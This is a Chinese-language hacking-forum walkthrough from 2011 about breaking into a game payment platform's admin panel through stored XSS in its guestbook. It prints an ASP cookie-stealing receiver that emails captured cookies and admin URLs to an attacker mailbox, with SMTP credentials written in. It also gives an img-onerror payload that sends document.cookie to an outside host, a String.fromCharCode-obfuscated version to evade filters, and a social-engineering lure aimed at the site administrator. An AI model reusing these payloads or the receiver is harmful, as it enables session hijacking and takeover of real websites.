Xss获取管理员后台地址实战

		当前位置：主页>安全文章>文章资料>入侵实例>文章内容

Xss获取管理员后台地址实战

来源： http://bbs.x-xox-x.com 作者：Trojan 发布时间：2011-05-06

作者:Trojan [ESST]
信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/thread-793-1-1.html
前段时间在开游戏支付平台,开始拿到代码的时候看了一下,没找到注入漏洞,就索性以为很安全.代码如下复制内容到剪贴板代码:

<%
on error resume next
dim s,newsid,pathstr,i
newsid=cint(request.QueryString("newsid"))
if err>0 then
response.write "<script language='JavaScript'>{window.alert('非法参数调用！');window.location='index.asp';}</script>"
response.end
end if
if NewsID<0 then
response.write "<script language='JavaScript'>{window.alert('对不起，该c没有找到！');window.location='index.asp';}</script>"
response.end
end if
call ConnectionDatabase
Set Rs=GrateRs("select * from H_news where newsid="&newsid,3)
if Rs.eof then
response.write "<script language='JavaScript'>{window.alert('对不起，该新闻没有找到！');window.location='index.asp';}</script>"
response.end
end if
if Rs("islink")=1 then
response.redirect Rs("link")
response.end
end if
%>
<HTML>
<HEAD>
<TITLE><%=SiteName%> - 联盟动态 - <%=Rs("topic")%></TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<LINK href="inc/css.css" type=text/css rel=stylesheet>
</HEAD>
<BODY>
<br>
<table width="507" height="500" border="0" align="center" cellpadding="0" cellspacing="0">
<tr align="left">
    <td height="30" colspan="4">
<font
size="3"
color="#FF6600"><center><b><%=Rs("topic")%></b></center></font></td>
</tr>
<tr align="center" valign="top">
    <td height="22" colspan="4" bgcolor="#FFFFFF"> 发表时间：<%=Rs("time")%>
    <%if Rs("from")<>"" then response.write("文章来源："&Rs("from"))%></td>
</tr>
<tr bgcolor="#D1C8C1">
    <td height="1" colspan="4"></td>
</tr>

<tr bgcolor="#FFFFFF">
    <td height="24" colspan="3" valign="top">    </td>
</tr>
<tr bgcolor="#FFFFFF">
    <td width="1%" valign="top"> </td>
    <td width="98%" style="font-size:13px;line-height:22px;" valign="top">信息来源:零下游戏支付平台 <a href="www.0xpay.com
http://www.0xpay.com">www.0xpay.com</a><br>客服QQ:918224<br><%

content=replace(Rs("content"),"<IMG src=""","<div
align=""center""><IMG onmousewheel=""return bbimg(this)""
onload=""javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;if(this.height>350)this.style.width=(this.width*350)/this.height;""
src=""")
                content=replace(content,""" border=0>",""" border=0></div>")
                response.write content
                %><br><script language='javascript'>
function copyToClipBoard(){
var clipBoardContent=document.title + '\r\n' + document.location;
clipBoardContent+='\r\n';
window.clipboardData.setData("Text",clipBoardContent);
alert("恭喜您！复制成功");
}
document.write("<input
size=\"50\" border-style: dotted; border-width: 1px; background-color:
#000000' value=\""+document.location+"\"><input type=\"button\"
style='border-style: solid; border-width: 1px' value=\"点击复制\"
title=\"点击将本文网址复制到剪贴板\" onclick=\"copyToClipBoard()\"> 与您的QQ/MSN好友分享!
");
</script> </td>
    <td width="1%" valign="top"> </td>
</tr>
</table>
<%
Rs("click")=Rs("click")+1
Rs.update
call DBConnEnd
%>
</BODY></HTML>conn的代码如下复制内容到剪贴板代码:

<%@ LANGUAGE = VBScript CodePage = 936%>
<%Server.ScriptTimeOut=72000%>

<%
Response.Buffer = True
randomize timer
Dim db,verStr
Dim SqlNowString,Conn
dim Rs,Rs1,Rs2
dim mssql
'当前支持游戏///////////////////////////////////////////////////////
AllGames="热血传奇|传奇世界|征途|劲舞团金猪充值|天龙八部|劲舞团MB充值|魔域"
'///////////////////////////////////////////////////////////////////
Sub ConnectionDatabase
        Dim ConnStr

connstr="driver={SQL
Server};server="&sqlip&";uid="&sqluid&";pwd="&sqlpwd&";database="&sqlname&""

        On Error Resume Next
        Set conn = Server.CreateObject("ADODB.Connection")
        conn.open ConnStr
        If Err Then
                err.Clear
                Set Conn = Nothing
                Response.Write "The Sever Is Busy,Please try again..."
                Response.End
        End If
End Sub
Function GrateRs(SqlStr,wr)
        dim Rs
        Set Rs=Server.CreateObject("ADODB.Recordset")
                On Error Resume Next
        Rs.Open SqlStr, Conn, 1, wr
        set GrateRs=Rs
        If Err Then
                err.Clear
                Set Conn = Nothing
                Response.Write "The Sever Is Busy,Please try again..."
                Response.End
        End If
End Function
Function ReplStr(s)
        s=Replace(s,"'","’")
        s=Replace(s,"%","％")
        s=Replace(s,"&","＆")
        s=Replace(s,"<","<")
        s=Replace(s,">",">")
        s=replace(s,chr(13)+chr(10),"<br>")
        s=Replace(s," "," ")
        ReplStr=s
End Function
'防SQL注入函数
Function YeSqlStr(data,falgs)
select case falgs
case "1" '数值型
    data= data
    if not isNumeric (data) then data=0
case "2" '字符型
    data = Replace (data, "'", "''" )
case else '字符串
    data = Trim(Replace(data, "&", "&"))
    data = replace(data, "<", "<")
    data = replace(data, ">", ">")
    data = replace(data, "'", """")
    data = replace(data, "*", "")
    data = replace(data, "?", "")
    data = replace(data, "select", "")
    data = replace(data, "insert", "")
    data = replace(data, "delete", "")
    data = replace(data, "update", "")
    data = replace(data, "delete", "")
    data = replace(data, "create", "")
    data = replace(data, "drop", "")
    data = replace(data, "declare", "")
    data = replace(data, vbCrLf&vbCrlf, "</p><p>")
    data = replace(data, vbCrLf, "<br>")
end select
YeSqlStr= data
End Function
Sub DBConnEnd()
        On Error Resume Next
        Rs.Close
        Set Rs = Nothing
        Conn.Close
        Set Conn = Nothing
End Sub

function zero(num)
if left(num,1)="." and IsNumeric(right(num,1)) then
zero="0"&Num
else
zero=num
end if
end function

%>仔细看过后发现怎么都突破不了,以为所有的文件都包含了这个conn.asp
呢,就放弃了.谁知道过了没几天叉叉兵就把我的平台首页改了.追问过后才发现,其实还有文件没有仔细看过.其实并不是很多文件都包含了这个通用防注入.漏
洞代码就不放出了.要不大牛都来日了.然后就在找叉叉兵怎么得到SHELL的,后来发现留言板那问题很严重..可以XSS.既然有了注入点可以加管理,还
少了个后台地址.就想跨站得到后台地址.当时犹豫ASP不太熟悉,就用JSP写了一个.刚才碰巧XXB在线,就直接要了份ASP代码.其实也就是个类似
QQ马发信的代码.request接受数据,然后创建文件流.复制内容到剪贴板代码:

dizhi=request("dizhi")
SaveFile="pass.txt" '保存获取数据的TXT
IfSendMail=true '是否使用邮件发送,如果True则发送邮件不保存TXT 如果false则保存txt而不发送邮件
YourSendMail="czsteel@163.com" '修改成你自己的邮箱地址。
YourSendMailUser="cal" '邮箱登陆用户名
YourSendMailPass="a" '邮箱登陆密码 (以上3项邮箱、账号、密码改成自己的) 这里用我的备用邮箱给你们测试,24小时后我修改密码...
YourSendMailServer="smtp.163.com" '邮件服务器
'注意哦，你自己的邮箱地址必须要开通pop/smtp功能。否则不能正常发信。
'另外就是你的空间必须支持Jmail.
YourMailTitle="a" '邮件标题
YourRecvMail="a" '收取截获数据的邮箱，建议使用QQ邮箱,可以实时提示,让你第时间得到要的信息

sub sendmail(content)
On error resume next
dim JMail
Set JMail = Server.CreateObject("JMail.Message")
JMail.Logging = True
JMail.Charset = "gb2312"
JMail.ContentType = "text/html"
JMail.From = YourSendMail
JMail.FromName = ""&YourSendMailUser
JMail.MailServerUserName = YourSendMailUser
JMail.MailServerPassword = YourSendMailPass
JMail.Priority = 1
JMail.AddRecipient YourRecvMail
JMail.Subject = YourMailTitle
JMail.Body = content
JMail.Send("smtp.163.com")
Set JMail = nothing
If err then
Response.write "发送失败!请检查配置!并确认你的服务器是否支持Jmail!"
' &GetPostStr
else
Response.write "发送成功!"&GetPostStr
'&GetPostStr &url
end if
end sub

GetPostStr=Request.QueryString("cookie")&"|"&dizhi
if GetPostStr="" then
Response.write "None!"
end if
if ifsendmail then
StrTemp=Replace(GetPostStr,"=",":")
StrTemp=Replace(StrTemp,"&","<br>")
StrTemp=StrTemp&"|"&Request.ServerVariables("Remote_Addr")
sendmail(StrTemp)
'ip = Request.ServerVariables("Remote_Addr")
'WriteTxt(Request.ServerVariables("Remote_Addr"),StrTemp)
else
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
TempStr=Split(GetPostStr,"&")
for TempI=0 To Ubound(TempStr)
I.WriteLine(Replace(TempStr(TempI),"=",":"))
next
I.WriteLine(now())
I.WriteLine("--------------------------------")
I.close
Set F=nothing
end if
Function WriteTxt(ip,Str)
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath("SendIp.txt"),8,True,0)
I.WriteLine(now())
I.WriteLine(ip)
I.WriteLine(Str)
I.WriteLine("--------------------------------")
I.close
Set F=nothing
end Function
%> 这样就实现了创建txt的功能.下面构造下跨站.<script>被过滤了.别的没过滤貌似.想获取后台就是知道他当前的document.url 就可以了.直接作为参数穿走.复制内容到剪贴板代码:

<img src="x"/**/onerror="eval(img = new
Image(); img.src = "
http://bbs.x-xox-x.com/url.asp?cookie="+document.cookie+"&
dizhi="+document.URL;img.width=0;img.height=0)"></img>简单解释下.一个
Img标签说明是图片地址是x出错了执行后面的话,创建了一个img的对象,然后调用Img的src属性等.主要传参.我把代码发到了留言板发现不执行.
估计还给过滤了.那就把代码转换成asci码,利用String.fromCharCode在解析回来.代码如下复制内容到剪贴板代码:
<img

src="x"/**
/onerror="eval(String.fromCharCode(105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,32,105,109,103,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,120,120,98,105,110,103,46,99,111,109,47,102,117,99,107,121,111,117,46,97,115,112,63,99,111,111,107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,38,100,105,122,104,105,61,34,43,100,111,99,117,109,101,110,116,46,85,82,76,59,105,109,103,46,119,105,100,116,104,61,48,59,105,109,103,46,104,101,105,103,104,116,61,48))"&
gt;</img>这样留言后加上管理员QQ,说管理员你们服务太差劲了,我不想多说了,去看我给你们的留言把.然后等着上钩把.这个方式试
用在可以留言,有跨站,不知道后台地址的情况下.高手就飘过把..

[